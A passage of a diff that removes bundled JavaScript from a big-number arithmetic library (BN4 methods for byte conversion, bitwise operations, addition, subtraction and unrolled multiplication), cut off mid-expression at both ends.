= allocate(ArrayType, reqLength); - var postfix = endian === "le" ? "LE" : "BE"; - this["_toArrayLike" + postfix](res, byteLength); - return res; - }; - BN4.prototype._toArrayLikeLE = function _toArrayLikeLE(res, byteLength) { - var position = 0; - var carry = 0; - for (var i = 0, shift = 0; i < this.length; i++) { - var word = this.words[i] << shift | carry; - res[position++] = word & 255; - if (position < res.length) { - res[position++] = word >> 8 & 255; - } - if (position < res.length) { - res[position++] = word >> 16 & 255; - } - if (shift === 6) { - if (position < res.length) { - res[position++] = word >> 24 & 255; - } - carry = 0; - shift = 0; - } else { - carry = word >>> 24; - shift += 2; - } - } - if (position < res.length) { - res[position++] = carry; - while (position < res.length) { - res[position++] = 0; - } - } - }; - BN4.prototype._toArrayLikeBE = function _toArrayLikeBE(res, byteLength) { - var position = res.length - 1; - var carry = 0; - for (var i = 0, shift = 0; i < this.length; i++) { - var word = this.words[i] << shift | carry; - res[position--] = word & 255; - if (position >= 0) { - res[position--] = word >> 8 & 255; - } - if (position >= 0) { - res[position--] = word >> 16 & 255; - } - if (shift === 6) { - if (position >= 0) { - res[position--] = word >> 24 & 255; - } - carry = 0; - shift = 0; - } else { - carry = word >>> 24; - shift += 2; - } - } - if (position >= 0) { - res[position--] = carry; - while (position >= 0) { - res[position--] = 0; - } - } - }; - if (Math.clz32) { - BN4.prototype._countBits = function _countBits(w) { - return 32 - Math.clz32(w); - }; - } else { - BN4.prototype._countBits = function _countBits(w) { - var t = w; - var r3 = 0; - if (t >= 4096) { - r3 += 13; - t >>>= 13; - } - if (t >= 64) { - r3 += 7; - t >>>= 7; - } - if (t >= 8) { - r3 += 4; - t >>>= 4; - } - if (t >= 2) { - r3 += 2; - t >>>= 2; - } - return r3 + t; - }; - } - BN4.prototype._zeroBits = function _zeroBits(w) { - if (w === 0) - return 26; - var t = w; - var r3 = 0; - if ((t & 8191) === 0) { - r3 += 13; - t >>>= 13; - } - if ((t & 127) === 0) { - r3 += 7; - t >>>= 7; - } - if ((t & 15) === 0) { - r3 += 4; - t >>>= 4; - } - if ((t & 3) === 0) { - r3 += 2; - t >>>= 2; - } - if ((t & 1) === 0) { - r3++; - } - return r3; - }; - BN4.prototype.bitLength = function bitLength() { - var w = this.words[this.length - 1]; - var hi = this._countBits(w); - return (this.length - 1) * 26 + hi; - }; - function toBitArray(num) { - var w = new Array(num.bitLength()); - for (var bit = 0; bit < w.length; bit++) { - var off = bit / 26 | 0; - var wbit = bit % 26; - w[bit] = num.words[off] >>> wbit & 1; - } - return w; - } - BN4.prototype.zeroBits = function zeroBits() { - if (this.isZero()) - return 0; - var r3 = 0; - for (var i = 0; i < this.length; i++) { - var b = this._zeroBits(this.words[i]); - r3 += b; - if (b !== 26) - break; - } - return r3; - }; - BN4.prototype.byteLength = function byteLength() { - return Math.ceil(this.bitLength() / 8); - }; - BN4.prototype.toTwos = function toTwos(width) { - if (this.negative !== 0) { - return this.abs().inotn(width).iaddn(1); - } - return this.clone(); - }; - BN4.prototype.fromTwos = function fromTwos(width) { - if (this.testn(width - 1)) { - return this.notn(width).iaddn(1).ineg(); - } - return this.clone(); - }; - BN4.prototype.isNeg = function isNeg() { - return this.negative !== 0; - }; - BN4.prototype.neg = function neg5() { - return this.clone().ineg(); - }; - BN4.prototype.ineg = function ineg() { - if (!this.isZero()) { - this.negative ^= 1; - } - return this; - }; - BN4.prototype.iuor = function iuor(num) { - while (this.length < num.length) { - this.words[this.length++] = 0; - } - for (var i = 0; i < num.length; i++) { - this.words[i] = this.words[i] | num.words[i]; - } - return this._strip(); - }; - BN4.prototype.ior = function ior(num) { - assert3((this.negative | num.negative) === 0); - return this.iuor(num); - }; - BN4.prototype.or = function or(num) { - if (this.length > num.length) - return this.clone().ior(num); - return num.clone().ior(this); - }; - BN4.prototype.uor = function uor(num) { - if (this.length > num.length) - return this.clone().iuor(num); - return num.clone().iuor(this); - }; - BN4.prototype.iuand = function iuand(num) { - var b; - if (this.length > num.length) { - b = num; - } else { - b = this; - } - for (var i = 0; i < b.length; i++) { - this.words[i] = this.words[i] & num.words[i]; - } - this.length = b.length; - return this._strip(); - }; - BN4.prototype.iand = function iand(num) { - assert3((this.negative | num.negative) === 0); - return this.iuand(num); - }; - BN4.prototype.and = function and(num) { - if (this.length > num.length) - return this.clone().iand(num); - return num.clone().iand(this); - }; - BN4.prototype.uand = function uand(num) { - if (this.length > num.length) - return this.clone().iuand(num); - return num.clone().iuand(this); - }; - BN4.prototype.iuxor = function iuxor(num) { - var a; - var b; - if (this.length > num.length) { - a = this; - b = num; - } else { - a = num; - b = this; - } - for (var i = 0; i < b.length; i++) { - this.words[i] = a.words[i] ^ b.words[i]; - } - if (this !== a) { - for (; i < a.length; i++) { - this.words[i] = a.words[i]; - } - } - this.length = a.length; - return this._strip(); - }; - BN4.prototype.ixor = function ixor(num) { - assert3((this.negative | num.negative) === 0); - return this.iuxor(num); - }; - BN4.prototype.xor = function xor(num) { - if (this.length > num.length) - return this.clone().ixor(num); - return num.clone().ixor(this); - }; - BN4.prototype.uxor = function uxor(num) { - if (this.length > num.length) - return this.clone().iuxor(num); - return num.clone().iuxor(this); - }; - BN4.prototype.inotn = function inotn(width) { - assert3(typeof width === "number" && width >= 0); - var bytesNeeded = Math.ceil(width / 26) | 0; - var bitsLeft = width % 26; - this._expand(bytesNeeded); - if (bitsLeft > 0) { - bytesNeeded--; - } - for (var i = 0; i < bytesNeeded; i++) { - this.words[i] = ~this.words[i] & 67108863; - } - if (bitsLeft > 0) { - this.words[i] = ~this.words[i] & 67108863 >> 26 - bitsLeft; - } - return this._strip(); - }; - BN4.prototype.notn = function notn(width) { - return this.clone().inotn(width); - }; - BN4.prototype.setn = function setn(bit, val) { - assert3(typeof bit === "number" && bit >= 0); - var off = bit / 26 | 0; - var wbit = bit % 26; - this._expand(off + 1); - if (val) { - this.words[off] = this.words[off] | 1 << wbit; - } else { - this.words[off] = this.words[off] & ~(1 << wbit); - } - return this._strip(); - }; - BN4.prototype.iadd = function iadd(num) { - var r3; - if (this.negative !== 0 && num.negative === 0) { - this.negative = 0; - r3 = this.isub(num); - this.negative ^= 1; - return this._normSign(); - } else if (this.negative === 0 && num.negative !== 0) { - num.negative = 0; - r3 = this.isub(num); - num.negative = 1; - return r3._normSign(); - } - var a, b; - if (this.length > num.length) { - a = this; - b = num; - } else { - a = num; - b = this; - } - var carry = 0; - for (var i = 0; i < b.length; i++) { - r3 = (a.words[i] | 0) + (b.words[i] | 0) + carry; - this.words[i] = r3 & 67108863; - carry = r3 >>> 26; - } - for (; carry !== 0 && i < a.length; i++) { - r3 = (a.words[i] | 0) + carry; - this.words[i] = r3 & 67108863; - carry = r3 >>> 26; - } - this.length = a.length; - if (carry !== 0) { - this.words[this.length] = carry; - this.length++; - } else if (a !== this) { - for (; i < a.length; i++) { - this.words[i] = a.words[i]; - } - } - return this; - }; - BN4.prototype.add = function add5(num) { - var res; - if (num.negative !== 0 && this.negative === 0) { - num.negative = 0; - res = this.sub(num); - num.negative ^= 1; - return res; - } else if (num.negative === 0 && this.negative !== 0) { - this.negative = 0; - res = num.sub(this); - this.negative = 1; - return res; - } - if (this.length > num.length) - return this.clone().iadd(num); - return num.clone().iadd(this); - }; - BN4.prototype.isub = function isub(num) { - if (num.negative !== 0) { - num.negative = 0; - var r3 = this.iadd(num); - num.negative = 1; - return r3._normSign(); - } else if (this.negative !== 0) { - this.negative = 0; - this.iadd(num); - this.negative = 1; - return this._normSign(); - } - var cmp = this.cmp(num); - if (cmp === 0) { - this.negative = 0; - this.length = 1; - this.words[0] = 0; - return this; - } - var a, b; - if (cmp > 0) { - a = this; - b = num; - } else { - a = num; - b = this; - } - var carry = 0; - for (var i = 0; i < b.length; i++) { - r3 = (a.words[i] | 0) - (b.words[i] | 0) + carry; - carry = r3 >> 26; - this.words[i] = r3 & 67108863; - } - for (; carry !== 0 && i < a.length; i++) { - r3 = (a.words[i] | 0) + carry; - carry = r3 >> 26; - this.words[i] = r3 & 67108863; - } - if (carry === 0 && i < a.length && a !== this) { - for (; i < a.length; i++) { - this.words[i] = a.words[i]; - } - } - this.length = Math.max(this.length, i); - if (a !== this) { - this.negative = 1; - } - return this._strip(); - }; - BN4.prototype.sub = function sub(num) { - return this.clone().isub(num); - }; - function smallMulTo(self2, num, out) { - out.negative = num.negative ^ self2.negative; - var len = self2.length + num.length | 0; - out.length = len; - len = len - 1 | 0; - var a = self2.words[0] | 0; - var b = num.words[0] | 0; - var r3 = a * b; - var lo = r3 & 67108863; - var carry = r3 / 67108864 | 0; - out.words[0] = lo; - for (var k = 1; k < len; k++) { - var ncarry = carry >>> 26; - var rword = carry & 67108863; - var maxJ = Math.min(k, num.length - 1); - for (var j = Math.max(0, k - self2.length + 1); j <= maxJ; j++) { - var i = k - j | 0; - a = self2.words[i] | 0; - b = num.words[j] | 0; - r3 = a * b + rword; - ncarry += r3 / 67108864 | 0; - rword = r3 & 67108863; - } - out.words[k] = rword | 0; - carry = ncarry | 0; - } - if (carry !== 0) { - out.words[k] = carry | 0; - } else { - out.length--; - } - return out._strip(); - } - var comb10MulTo = function comb10MulTo2(self2, num, out) { - var a = self2.words; - var b = num.words; - var o = out.words; - var c = 0; - var lo; - var mid; - var hi; - var a0 = a[0] | 0; - var al0 = a0 & 8191; - var ah0 = a0 >>> 13; - var a1 = a[1] | 0; - var al1 = a1 & 8191; - var ah1 = a1 >>> 13; - var a2 = a[2] | 0; - var al2 = a2 & 8191; - var ah2 = a2 >>> 13; - var a3 = a[3] | 0; - var al3 = a3 & 8191; - var ah3 = a3 >>> 13; - var a4 = a[4] | 0; - var al4 = a4 & 8191; - var ah4 = a4 >>> 13; - var a5 = a[5] | 0; - var al5 = a5 & 8191; - var ah5 = a5 >>> 13; - var a6 = a[6] | 0; - var al6 = a6 & 8191; - var ah6 = a6 >>> 13; - var a7 = a[7] | 0; - var al7 = a7 & 8191; - var ah7 = a7 >>> 13; - var a8 = a[8] | 0; - var al8 = a8 & 8191; - var ah8 = a8 >>> 13; - var a9 = a[9] | 0; - var al9 = a9 & 8191; - var ah9 = a9 >>> 13; - var b0 = b[0] | 0; - var bl0 = b0 & 8191; - var bh0 = b0 >>> 13; - var b1 = b[1] | 0; - var bl1 = b1 & 8191; - var bh1 = b1 >>> 13; - var b2 = b[2] | 0; - var bl2 = b2 & 8191; - var bh2 = b2 >>> 13; - var b3 = b[3] | 0; - var bl3 = b3 & 8191; - var bh3 = b3 >>> 13; - var b4 = b[4] | 0; - var bl4 = b4 & 8191; - var bh4 = b4 >>> 13; - var b5 = b[5] | 0; - var bl5 = b5 & 8191; - var bh5 = b5 >>> 13; - var b6 = b[6] | 0; - var bl6 = b6 & 8191; - var bh6 = b6 >>> 13; - var b7 = b[7] | 0; - var bl7 = b7 & 8191; - var bh7 = b7 >>> 13; - var b8 = b[8] | 0; - var bl8 = b8 & 8191; - var bh8 = b8 >>> 13; - var b9 = b[9] | 0; - var bl9 = b9 & 8191; - var bh9 = b9 >>> 13; - out.negative = self2.negative ^ num.negative; - out.length = 19; - lo = Math.imul(al0, bl0); - mid = Math.imul(al0, bh0); - mid = mid + Math.imul(ah0, bl0) | 0; - hi = Math.imul(ah0, bh0); - var w0 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w0 >>> 26) | 0; - w0 &= 67108863; - lo = Math.imul(al1, bl0); - mid = Math.imul(al1, bh0); - mid = mid + Math.imul(ah1, bl0) | 0; - hi = Math.imul(ah1, bh0); - lo = lo + Math.imul(al0, bl1) | 0; - mid = mid + Math.imul(al0, bh1) | 0; - mid = mid + Math.imul(ah0, bl1) | 0; - hi = hi + Math.imul(ah0, bh1) | 0; - var w1 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w1 >>> 26) | 0; - w1 &= 67108863; - lo = Math.imul(al2, bl0); - mid = Math.imul(al2, bh0); - mid = mid + Math.imul(ah2, bl0) | 0; - hi = Math.imul(ah2, bh0); - lo = lo + Math.imul(al1, bl1) | 0; - mid = mid + Math.imul(al1, bh1) | 0; - mid = mid + Math.imul(ah1, bl1) | 0; - hi = hi + Math.imul(ah1, bh1) | 0; - lo = lo + Math.imul(al0, bl2) | 0; - mid = mid + Math.imul(al0, bh2) | 0; - mid = mid + Math.imul(ah0, bl2) | 0; - hi = hi + Math.imul(ah0, bh2) | 0; - var w2 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w2 >>> 26) | 0; - w2 &= 67108863; - lo = Math.imul(al3, bl0); - mid = Math.imul(al3, bh0); - mid = mid + Math.imul(ah3, bl0) | 0; - hi = Math.imul(ah3, bh0); - lo = lo + Math.imul(al2, bl1) | 0; - mid = mid + Math.imul(al2, bh1) | 0; - mid = mid + Math.imul(ah2, bl1) | 0; - hi = hi + Math.imul(ah2, bh1) | 0; - lo = lo + Math.imul(al1, bl2) | 0; - mid = mid + Math.imul(al1, bh2) | 0; - mid = mid + Math.imul(ah1, bl2) | 0; - hi = hi + Math.imul(ah1, bh2) | 0; - lo = lo + Math.imul(al0, bl3) | 0; - mid = mid + Math.imul(al0, bh3) | 0; - mid = mid + Math.imul(ah0, bl3) | 0; - hi = hi + Math.imul(ah0, bh3) | 0; - var w3 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w3 >>> 26) | 0; - w3 &= 67108863; - lo = Math.imul(al4, bl0); - mid = Math.imul(al4, bh0); - mid = mid + Math.imul(ah4, bl0) | 0; - hi = Math.imul(ah4, bh0); - lo = lo + Math.imul(al3, bl1) | 0; - mid = mid + Math.imul(al3, bh1) | 0; - mid = mid + Math.imul(ah3, bl1) | 0; - hi = hi + Math.imul(ah3, bh1) | 0; - lo = lo + Math.imul(al2, bl2) | 0; - mid = mid + Math.imul(al2, bh2) | 0; - mid = mid + Math.imul(ah2, bl2) | 0; - hi = hi + Math.imul(ah2, bh2) | 0; - lo = lo + Math.imul(al1, bl3) | 0; - mid = mid + Math.imul(al1, bh3) | 0; - mid = mid + Math.imul(ah1, bl3) | 0; - hi = hi + Math.imul(ah1, bh3) | 0; - lo = lo + Math.imul(al0, bl4) | 0; - mid = mid + Math.imul(al0, bh4) | 0; - mid = mid + Math.imul(ah0, bl4) | 0; - hi = hi + Math.imul(ah0, bh4) | 0; - var w4 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w4 >>> 26) | 0; - w4 &= 67108863; - lo = Math.imul(al5, bl0); - mid = Math.imul(al5, bh0); - mid = mid + Math.imul(ah5, bl0) | 0; - hi = Math.imul(ah5, bh0); - lo = lo + Math.imul(al4, bl1) | 0; - mid = mid + Math.imul(al4, bh1) | 0; - mid = mid + Math.imul(ah4, bl1) | 0; - hi = hi + Math.imul(ah4, bh1) | 0; - lo = lo + Math.imul(al3, bl2) | 0; - mid = mid + Math.imul(al3, bh2) | 0; - mid = mid + Math.imul(ah3, bl2) | 0; - hi = hi + Math.imul(ah3, bh2) | 0; - lo = lo + Math.imul(al2, bl3) | 0; - mid = mid + Math.imul(al2, bh3) | 0; - mid = mid + Math.imul(ah2, bl3) | 0; - hi = hi + Math.imul(ah2, bh3) | 0; - lo = lo + Math.imul(al1, bl4) | 0; - mid = mid + Math.imul(al1, bh4) | 0; - mid = mid + Math.imul(ah1, bl4) | 0; - hi = hi + Math.imul(ah1, bh4) | 0; - lo = lo + Math.imul(al0, bl5) | 0; - mid = mid + Math.imul(al0, bh5) | 0; - mid = mid + Math.imul(ah0, bl5) | 0; - hi = hi + Math.imul(ah0, bh5) | 0; - var w5 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w5 >>> 26) | 0; - w5 &= 67108863; - lo = Math.imul(al6, bl0); - mid = Math.imul(al6, bh0); - mid = mid + Math.imul(ah6, bl0) | 0; - hi = Math.imul(ah6, bh0); - lo = lo + Math.imul(al5, bl1) | 0; - mid = mid + Math.imul(al5, bh1) | 0; - mid = mid + Math.imul(ah5, bl1) | 0; - hi = hi + Math.imul(ah5, bh1) | 0; - lo = lo + Math.imul(al4, bl2) | 0; - mid = mid + Math.imul(al4, bh2) | 0; - mid = mid + Math.imul(ah4, bl2) | 0; - hi = hi + Math.imul(ah4, bh2) | 0; - lo = lo + Math.imul(al3, bl3) | 0; - mid = mid + Math.imul(al3, bh3) | 0; - mid = mid + Math.imul(ah3, bl3) | 0; - hi = hi + Math.imul(ah3, bh3) | 0; - lo = lo + Math.imul(al2, bl4) | 0; - mid = mid + Math.imul(al2, bh4) | 0; - mid = mid + Math.imul(ah2, bl4) | 0; - hi = hi + Math.imul(ah2, bh4) | 0; - lo = lo + Math.imul(al1, bl5) | 0; - mid = mid + Math.imul(al1, bh5) | 0; - mid = mid + Math.imul(ah1, bl5) | 0; - hi = hi + Math.imul(ah1, bh5) | 0; - lo = lo + Math.imul(al0, bl6) | 0; - mid = mid + Math.imul(al0, bh6) | 0; - mid = mid + Math.imul(ah0, bl6) | 0; - hi = hi + Math.imul(ah0, bh6) | 0; - var w6 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w6 >>> 26) | 0; - w6 &= 67108863; - lo = Math.imul(al7, bl0); - mid = Math.imul(al7, bh0); - mid = mid + Math.imul(ah7, bl0) | 0; - hi = Math.imul(ah7, bh0); - lo = lo + Math.imul(al6, bl1) | 0; - mid = mid + Math.imul(al6, bh1) | 0; - mid = mid + Math.imul(ah6, bl1) | 0; - hi = hi + Math.imul(ah6, bh1) | 0; - lo = lo + Math.imul(al5, bl2) | 0; - mid = mid + Math.imul(al5, bh2) | 0; - mid = mid + Math.imul(ah5, bl2) | 0; - hi = hi + Math.imul(ah5, bh2) | 0; - lo = lo + Math.imul(al4, bl3) | 0; - mid = mid + Math.imul(al4, bh3) | 0; - mid = mid + Math.imul(ah4, bl3) | 0; - hi = hi + Math.imul(ah4, bh3) | 0; - lo = lo + Math.imul(al3, bl4) | 0; - mid = mid + Math.imul(al3, bh4) | 0; - mid = mid + Math.imul(ah3, bl4) | 0; - hi = hi + Math.imul(ah3, bh4) | 0; - lo = lo + Math.imul(al2, bl5) | 0; - mid = mid + Math.imul(al2, bh5) | 0; - mid = mid + Math.imul(ah2, bl5) | 0; - hi = hi + Math.imul(ah2, bh5) | 0; - lo = lo + Math.imul(al1, bl6) | 0; - mid = mid + Math.imul(al1, bh6) | 0; - mid = mid + Math.imul(ah1, bl6) | 0; - hi = hi + Math.imul(ah1, bh6) | 0; - lo = lo + Math.imul(al0, bl7) | 0; - mid = mid + Math.imul(al0, bh7) | 0; - mid = mid + Math.imul(ah0, bl7) | 0; - hi = hi + Math.imul(ah0, bh7) | 0; - var w7 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w7 >>> 26) | 0; - w7 &= 67108863; - lo = Math.imul(al8, bl0); - mid = Math.imul(al8, bh0); - mid = mid + Math.imul(ah8, bl0) | 0; - hi = Math.imul(ah8, bh0); - lo = lo + Math.imul(al7, bl1) | 0; - mid = mid + Math.imul(al7, bh1) | 0; - mid = mid + Math.imul(ah7, bl1) | 0; - hi = hi + Math.imul(ah7, bh1) | 0; - lo = lo + Math.imul(al6, bl2) | 0; - mid = mid + Math.imul(al6, bh2) | 0; - mid = mid + Math.imul(ah6, bl2) | 0; - hi = hi + Math.imul(ah6, bh2) | 0; - lo = lo + Math.imul(al5, bl3) | 0; - mid = mid + Math.imul(al5, bh3) | 0; - mid = mid + Math.imul(ah5, bl3) | 0; - hi = hi + Math.imul(ah5, bh3) | 0; - lo = lo + Math.imul(al4, bl4) | 0; - mid = mid + Math.imul(al4, bh4) | 0; - mid = mid + Math.imul(ah4, bl4) | 0; - hi = hi + Math.imul(ah4, bh4) | 0; - lo = lo + Math.imul(al3, bl5) | 0; - mid = mid + Math.imul(al3, bh5) | 0; - mid = mid + Math.imul(ah3, bl5) | 0; - hi = hi + Math.imul(ah3, bh5) | 0; - lo = lo + Math.imul(al2, bl6) | 0; - mid = mid + Math.imul(al2, bh6) | 0; - mid = mid + Math.imul(ah2, bl6) | 0; - hi = hi + Math.imul(ah2, bh6) | 0; - lo = lo + Math.imul(al1, bl7) | 0; - mid = mid + Math.imul(al1, bh7) | 0; - mid = mid + Math.imul(ah1, bl7) | 0; - hi = hi + Math.imul(ah1, bh7) | 0; - lo = lo + Math.imul(al0, bl8) | 0; - mid = mid + Math.imul(al0, bh8) | 0; - mid = mid + Math.imul(ah0, bl8) | 0; - hi = hi + Math.imul(ah0, bh8) | 0; - var w8 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w8 >>> 26) | 0; - w8 &= 67108863; - lo = Math.imul(al9, bl0); - mid = Math.imul(al9, bh0); - mid = mid + Math.imul(ah9, bl0) | 0; - hi = Math.imul(ah9, bh0); - lo = lo + Math.imul(al8, bl1) | 0; - mid = mid + Math.imul(al8, bh1) | 0; - mid = mid + Math.imul(ah8, bl1) | 0; - hi = hi + Math.imul(ah8, bh1) | 0; - lo = lo + Math.imul(al7, bl2) | 0; - mid = mid + Math.imul(al7, bh2) | 0; - mid = mid + Math.imul(ah7, bl2) | 0; - hi = hi + Math.imul(ah7, bh2) | 0; - lo = lo + Math.imul(al6, bl3) | 0; - mid = mid + Math.imul(al6, bh3) | 0; - mid = mid + Math.imul(ah6, bl3) | 0; - hi = hi + Math.imul(ah6, bh3) | 0; - lo = lo + Math.imul(al5, bl4) | 0; - mid = mid + Math.imul(al5, bh4) | 0; - mid = mid + Math.imul(ah5, bl4) | 0; - hi = hi + Math.imul(ah5, bh4) | 0; - lo = lo + Math.imul(al4, bl5) | 0; - mid = mid + Math.imul(al4, bh5) | 0; - mid = mid + Math.imul(ah4, bl5) | 0; - hi = hi + Math.imul(ah4, bh5) | 0; - lo = lo + Math.imul(al3, bl6) | 0; - mid = mid + Math.imul(al3, bh6) | 0; - mid = mid + Math.imul(ah3, bl6) | 0; - hi = hi + Math.imul(ah3, bh6) | 0; - lo = lo + Math.imul(al2, bl7) | 0; - mid = mid + Math.imul(al2, bh7) | 0; - mid = mid + Math.imul(ah2, bl7) | 0; - hi = hi + Math.imul(ah2, bh7) | 0; - lo = lo + Math.imul(al1, bl8) | 0; - mid = mid + Math.imul(al1, bh8) | 0; - mid = mid + Math.imul(ah1, bl8) | 0; - hi = hi + Math.imul(ah1, bh8) | 0; - lo = lo + Math.imul(al0, bl9) | 0; - mid = mid + Math.imul(al0, bh9) | 0; - mid = mid + Math.imul(ah0, bl9) | 0; - hi = hi + Math.imul(ah0, bh9) | 0; - var w9 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w9 >>> 26) | 0; - w9 &= 67108863; - lo = Math.imul(al9, bl1); - mid = Math.imul(al9, bh1); - mid = mid + Math.imul(ah9, bl1) | 0; - hi = Math.imul(ah9, bh1); - lo = lo + Math.imul(al8, bl2) | 0; - mid = mid + Math.imul(al8, bh2) | 0; - mid = mid + Math.imul(ah8, bl2) | 0; - hi = hi + Math.imul(ah8, bh2) | 0; - lo = lo + Math.imul(al7, bl3) | 0; - mid = mid + Math.imul(al7, bh3) | 0; - mid = mid + Math.imul(ah7, bl3) | 0; - hi = hi + Math.imul(ah7, bh3) | 0; - lo = lo + Math.imul(al6, bl4) | 0; - mid = mid + Math.imul(al6, bh4) | 0; - mid = mid + Math.imul(ah6, bl4) | 0; - hi = hi + Math.imul(ah6, bh4) | 0; - lo = lo + Math.imul(al5, bl5) | 0; - mid = mid + Math.imul(al5, bh5) | 0; - mid = mid + Math.imul(ah5, bl5) | 0; - hi = hi + Math.imul(ah5, bh5) | 0; - lo = lo + Math.imul(al4, bl6) | 0; - mid = mid + Math.imul(al4, bh6) | 0; - mid = mid + Math.imul(ah4, bl6) | 0; - hi = hi + Math.imul(ah4, bh6) | 0; - lo = lo + Math.imul(al3, bl7) | 0; - mid = mid + Math.imul(al3, bh7) | 0; - mid = mid + Math.imul(ah3, bl7) | 0; - hi = hi + Math.imul(ah3, bh7) | 0; - lo = lo + Math.imul(al2, bl8) | 0; - mid = mid + Math.imul(al2, bh8) | 0; - mid = mid + Math.imul(ah2, bl8) | 0; - hi = hi + Math.imul(ah2, bh8) | 0; - lo = lo + Math.imul(al1, bl9) | 0; - mid = mid + Math.imul(al1, bh9) | 0; - mid = mid + Math.imul(ah1, bl9) | 0; - hi = hi + Math.imul(ah1, bh9) | 0; - var w10 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w10 >>> 26) | 0; - w10 &= 67108863; - lo = Math.imul(al9, bl2); - mid = Math.imul(al9, bh2); - mid = mid + Math.imul(ah9, bl2) | 0; - hi = Math.imul(ah9, bh2); - lo = lo + Math.imul(al8, bl3) | 0; - mid = mid + Math.imul(al8, bh3) | 0; - mid = mid + Math.imul(ah8, bl3) | 0; - hi = hi + Math.imul(ah8, bh3) | 0; - lo = lo + Math.imul(al7, bl4) | 0; - mid = mid + Math.imul(al7, bh4) | 0; - mid = mid + Math.imul(ah7, bl4) | 0; - hi = hi + Math.imul(ah7, bh4) | 0; - lo = lo + Math.imul(al6, bl5) | 0; - mid = mid + Math.imul(al6, bh5) | 0; - mid = mid + Math.imul(ah6, bl5) | 0; - hi = hi + Math.imul(ah6, bh5) | 0; - lo = lo + Math.imul(al5, bl6) | 0; - mid = mid + Math.imul(al5, bh6) | 0; - mid = mid + Math.imul(ah5, bl6) | 0; - hi = hi + Math.imul(ah5, bh6) | 0; - lo = lo + Math.imul(al4, bl7) | 0; - mid = mid + Math.imul(al4, bh7) | 0; - mid = mid + Math.imul(ah4, bl7) | 0; - hi = hi + Math.imul(ah4, bh7) | 0; - lo = lo + Math.imul(al3, bl8) | 0; - mid = mid + Math.imul(al3, bh8) | 0; - mid = mid + Math.imul(ah3, bl8) | 0; - hi = hi + Math.imul(ah3, bh8) | 0; - lo = lo + Math.imul(al2, bl9) | 0; - mid = mid + Math.imul(al2, bh9) | 0; - mid = mid + Math.imul(ah2, bl9) | 0; - hi = hi + Math.imul(ah2, bh9) | 0; - var w11 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w11 >>> 26) | 0; - w11 &= 67108863; - lo = Math.imul(al9, bl3); - mid = Math.imul(al9, bh3); - mid = mid + Math.imul(ah9, bl3) | 0; - hi = Math.imul(ah9, bh3); - lo = lo + Math.imul(al8, bl4) | 0; - mid = mid + Math.imul(al8, bh4) | 0; - mid = mid + Math.imul(ah8, bl4) | 0; - hi = hi + Math.imul(ah8, bh4) | 0; - lo = lo + Math.imul(al7, bl5) | 0; - mid = mid + Math.imul(al7, bh5) | 0; - mid = mid + Math.imul(ah7, bl5) | 0; - hi = hi + Math.imul(ah7, bh5) | 0; - lo = lo + Math.imul(al6, bl6) | 0; - mid = mid + Math.imul(al6, bh6) | 0; - mid = mid + Math.imul(ah6, bl6) | 0; - hi = hi + Math.imul(ah6, bh6) | 0; - lo = lo + Math.imul(al5, bl7) | 0; - mid = mid + Math.imul(al5, bh7) | 0; - mid = mid + Math.imul(ah5, bl7) | 0; - hi = hi + Math.imul(ah5, bh7) | 0; - lo = lo + Math.imul(al4, bl8) | 0; - mid = mid + Math.imul(al4, bh8) | 0; - mid = mid + Math.imul(ah4, bl8) | 0; - hi = hi + Math.imul(ah4, bh8) | 0; - lo = lo + Math.imul(al3, bl9) | 0; - mid = mid + Math.imul(al3, bh9) | 0; - mid = mid + Math.imul(ah3, bl9) | 0; - hi = hi + Math.imul(ah3, bh9) | 0; - var w12 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w12 >>> 26) | 0; - w12 &= 67108863; - lo = Math.imul(al9, bl4); - mid = Math.imul(al9, bh4); - mid = mid + Math.imul(ah9, bl4) | 0; - hi = Math.imul(ah9, bh4); - lo = lo + Math.imul(al8, bl5) | 0; - mid = mid + Math.imul(al8, bh5) | 0; - mid = mid + Math.imul(ah8, bl5) | 0; - hi = hi + Math.imul(ah8, bh5) | 0; - lo = lo + Math.imul(al7, bl6) | 0; - mid = mid + Math.imul(al7, bh6) | 0; - mid = mid + Math.imul(ah7, bl6) | 0; - hi = hi + Math.imul(ah7, bh6) | 0; - lo = lo + Math.imul(al6, bl7) | 0; - mid = mid + Math.imul(al6, bh7) | 0; - mid = mid + Math.imul(ah6, bl7) | 0; - hi = hi + Math.imul(ah6, bh7) | 0; - lo = lo + Math.imul(al5, bl8) | 0; - mid = mid + Math.imul(al5, bh8) | 0; - mid = mid + Math.imul(ah5, bl8) | 0; - hi = hi + Math.imul(ah5, bh8) | 0; - lo = lo + Math.imul(al4, bl9) | 0; - mid = mid + Math.imul(al4, bh9) | 0; - mid = mid + Math.imul(ah4, bl9) | 0; - hi = hi + Math.imul(ah4, bh9) | 0; - var w13 = (c + lo | 0) + ((mid & 8191) << 13) | 0; - c = (hi + (mid >>> 13) | 0) + (w13 >>> 26) | 0; - w13 &= 67108863; - lo = Math.imul(al9, bl5); - mid = Math.imul(al9, bh5); - mid = mid + Math.imul(ah9, bl5) | 0; - hi = Math.imul(ah9, bh5); - lo = lo + Math.imul(al8, bl6) | 0; - mid = mid + Math.imul(al8, bh6) | 0; - mid = mid + Math.imul(ah8, bl6) | 0; - hi = hi + Math.imul(ah8, bh6) | 0; - lo = lo + Math.imul(al7, bl7) | 0; - mid = mid + Math.imul(al7, bh7) | 0; - mid = mid + Math.imul(ah7, bl7) | 0; - hi = hi + Math.imul(ah7, bh7) | 0; - lo = lo + 